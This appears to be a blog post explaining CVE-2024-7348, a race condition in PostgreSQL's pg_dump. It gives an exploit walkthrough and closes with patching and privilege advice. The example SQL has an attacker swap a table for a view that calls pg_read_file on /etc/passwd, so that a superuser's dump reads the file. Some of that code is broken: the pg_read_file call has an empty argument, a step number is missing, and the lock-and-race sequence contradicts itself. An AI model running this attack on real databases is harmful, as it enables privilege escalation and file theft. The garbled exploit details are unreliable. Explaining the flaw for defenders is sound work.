CVE-2024-7348 is a recently disclosed vulnerability that targets PostgreSQL databases, specifically leveraging a Time-of-check Time-of-use (TOCTOU) race condition in the pg_dump utility. Attackers who have the ability to create database objects can exploit this bug to execute arbitrary SQL code as the user running pg_dump—usually a highly privileged account, sometimes even the PostgreSQL administrative superuser. This post provides an in-depth but accessible breakdown of how the vulnerability works, practical exploit details, code snippets, and references for further reading.

What is the Vulnerability?

A TOCTOU race condition means there's a time gap between when a condition is verified ("checked") and when it's actually used. In the case of pg_dump, the dump tool checks a relation type (like table, view, or foreign table) when it's preparing the dump, but if an attacker quickly replaces that object after checking (but before using), they can trick pg_dump into using the attacker's object. If that object is a view or a foreign table pointing to malicious code, the code runs as the dump user.

The vulnerability is tracked as CVE-2024-7348, and it affects PostgreSQL installations before 16.4, 15.8, 14.13, 13.16, and 12.20.

Impact

Anyone with the CREATEDB or similar privileges can run arbitrary SQL with superuser rights during a dump.

Basic Exploit Flow

1. Setup: The attacker creates a table in a database they control and keeps a transaction open referencing that table (table_a).

Trigger Dump: The superuser or DBA runs pg_dump against the database in a separate session.

3. Replace Object: After pg_dump starts and before it tries to access the object, the attacker drops the table and replaces it with a view (or foreign table) that calls a dangerous function (like pg_read_file, pg_stat_file, or a user-defined function).
4. Execute Code: When pg_dump reaches the object, it executes the SQL embedded in the view as the superuser.

Winning this race is trivial if the attacker holds an open transaction referencing the table, as it delays the drop until pg_dump is in the right spot.

Real-World Example

Suppose the attacker wants to read /etc/passwd from the server using pg_read_file. Here’s a minimal scenario:

1. Attacker: Create and reference a table

-- In session 1 (attacker):
BEGIN;
CREATE TABLE secret_table (id int);
INSERT INTO secret_table VALUES (1); -- Lock the table by referencing it
-- Keep this transaction open!

2. Superuser: Start the dump

# In Unix shell (session 2), DBA runs:
pg_dump -U postgres attacker_db > dump.sql

In another window (after confirming pg_dump started)

-- Back in session 1 or a third session:
COMMIT; -- Release the lock

-- Now drop the table and create a view with malicious code
DROP TABLE secret_table;
CREATE VIEW secret_table AS
  SELECT pg_read_file('/etc/passwd', , 100) AS data;

4. Pg_dump reads the view

When pg_dump gets to dumping secret_table, it reads the view, which executes the superuser-only function. The result is written out in the dump output. The attacker retrieves the dumped data from the dump file.

Defensive Steps

- Upgrade Immediately: All supported branches fixed this in versions 16.4, 15.8, 14.13, 13.16, and 12.20.
Release notes and details

Review User Privileges: Limit who can create objects and run code in databases.

- Restrict pg_dump Usage: Avoid using database superuser for dump operations unless absolutely required.

Key References

- Official advisory & patch: PostgreSQL: CVE-2024-7348 Security Vulnerability
- pg_dump Documentation

Summary

This TOCTOU bug is a classic example in software security, now with a real-life impact on a critical open-source database. By swapping table objects at just the right moment, an attacker can fool pg_dump into running their code at the highest privilege level—potentially leading to data theft, code execution, or privilege escalation. As always, patch now and audit who can create objects in your databases!

If you want more technical deep-dives or proof-of-concept scripts, visit the original PostgreSQL advisory and follow related mailing list threads.

Timeline

Published on: 08/08/2024 13:15:14 UTC
Last modified on: 08/12/2024 15:54:52 UTC